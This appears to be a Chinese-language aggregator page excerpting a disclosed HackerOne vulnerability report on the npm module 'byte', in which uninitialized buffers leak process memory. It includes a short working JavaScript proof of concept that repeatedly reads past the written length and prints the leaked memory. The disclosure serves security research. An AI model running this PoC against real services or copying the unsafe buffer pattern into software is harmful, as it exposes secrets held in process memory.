`byte` allocates uninitialized buffers and reads data from them past the initialized length
该报告还没有中文解读。
原文摘录
摘自原文(2152 字符中的一小部分)
I would like to report a memory exposure vulnerbaility in `byte` It allows to extract process memory using Buffers in some cases.
原文中的代码
var ByteBuffer = require('byte');
for (let k = 0; k < 1e4; k++) {
var bb = new ByteBuffer();
for (let i = 0; i < 180; i++) {
bb.putString('ok');
}
const s = bb.getString(1000);
if (s.includes(' {')) {
console.log(s);
console.log('Finished at attempt: ' + k);
break;
}
}默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Node.js third-party modules 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @chalker · 版权归作者与 Node.js third-party modules 所有